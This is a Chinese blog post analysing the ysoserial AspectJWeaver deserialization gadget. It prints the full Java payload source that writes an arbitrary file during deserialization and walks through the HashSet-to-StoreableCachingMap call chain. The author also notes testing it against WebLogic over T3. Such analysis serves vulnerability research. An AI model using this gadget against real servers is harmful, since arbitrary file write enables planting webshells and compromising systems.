ysoserial AspectJWeaver file write gadget

昨天在挖weblogic漏洞时发现ysoserial更新了一个新的gadget AspectJWeaver,今天分析一下。

分析

先看下yso给出的payload

  1package ysoserial.payloads;
2
3import org.apache.commons.codec.binary.Base64;
4import org.apache.commons.collections.Transformer;
5import org.apache.commons.collections.functors.ConstantTransformer;
6import org.apache.commons.collections.keyvalue.TiedMapEntry;
7import org.apache.commons.collections.map.LazyMap;
8import ysoserial.payloads.annotation.Authors;
9import ysoserial.payloads.annotation.Dependencies;
10import ysoserial.payloads.annotation.PayloadTest;
11import ysoserial.payloads.util.PayloadRunner;
12import ysoserial.payloads.util.Reflections;
13
14import java.io.Serializable;
15import java.lang.reflect.Constructor;
16import java.lang.reflect.Field;
17import java.util.HashMap;
18import java.util.HashSet;
19import java.util.Map;
20
21/*
22Gadget chain:
23HashSet.readObject()
24    HashMap.put()
25        HashMap.hash()
26            TiedMapEntry.hashCode()
27                TiedMapEntry.getValue()
28                    LazyMap.get()
29                        SimpleCache$StorableCachingMap.put()
30                            SimpleCache$StorableCachingMap.writeToPath()
31                                FileOutputStream.write()
32
33Usage:
34args = "<filename>;<base64 content>"
35Example:
36java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
37
38More information:
39https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
40 */
41@PayloadTest(skip="non RCE")
42@SuppressWarnings({"rawtypes", "unchecked"})
43@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
44@Authors({ Authors.JANG })
45
46public class AspectJWeaver implements ObjectPayload<Serializable> {
47
48    public Serializable getObject(final String command) throws Exception {
49        int sep = command.lastIndexOf(';');
50        if ( sep < 0 ) {
51            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
52        }
53        String[] parts = command.split(";");
54        String filename = parts[0];
55        byte[] content = Base64.decodeBase64(parts[1]);
56
57        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
58        Object simpleCache = ctor.newInstance(".", 12);
59        Transformer ct = new ConstantTransformer(content);
60        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
61        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
62        HashSet map = new HashSet(1);
63        map.add("foo");
64        Field f = null;
65        try {
66            f = HashSet.class.getDeclaredField("map");
67        } catch (NoSuchFieldException e) {
68            f = HashSet.class.getDeclaredField("backingMap");
69        }
70
71        Reflections.setAccessible(f);
72        HashMap innimpl = (HashMap) f.get(map);
73
74        Field f2 = null;
75        try {
76            f2 = HashMap.class.getDeclaredField("table");
77        } catch (NoSuchFieldException e) {
78            f2 = HashMap.class.getDeclaredField("elementData");
79        }
80
81        Reflections.setAccessible(f2);
82        Object[] array = (Object[]) f2.get(innimpl);
83
84        Object node = array[0];
85        if(node == null){
86            node = array[1];
87        }
88
89        Field keyField = null;
90        try{
91            keyField = node.getClass().getDeclaredField("key");
92        }catch(Exception e){
93            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
94        }
95
96        Reflections.setAccessible(keyField);
97        keyField.set(node, entry);
98
99        return map;
100
101    }
102
103    public static void main(String[] args) throws Exception {
104        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
105        PayloadRunner.run(AspectJWeaver.class, args);
106    }
107}

先看堆栈后半段

org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath

writeToPath中key和value分别是文件名和内容。

org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put 中调用了writeToPath。

现在如果反序列化时可以触发put方法,就可以自动写入文件。

再通过正向思维看前半段,我们的目的是寻找put方法调用。

在HashSet类的readObject中

进行了map.put,跟进

跟进hash()

这里自动调用了key.hashCode()即 org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode

hashCode()自动调用了getValue()

getValue()又调用自身map字段的get方法。自身map字段为Map类型,而在 org.apache.commons.collections.map.LazyMap#get 中进行了put方法,接上了我们后半段的put方法。

到此整条链就结束了,算是比较简单的一条gadget。

这条链我通过T3打过去,发现weblogic已经过滤了 org.apache.commons.collections.functors 包名,相信不久就会出现新的绕过。

参考

  1. 我在weblogic服务器12.2.1.3.0中找到了一个新的RCE gadget

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

Y4er的博客
我还没有学会写个人说明!
上一篇

SharePoint 2019 XSS漏洞CVE-2020-1456复现

下一篇

图解DDD建模六个问题与六个步骤

你也可能喜欢

评论已经被关闭。

插入图片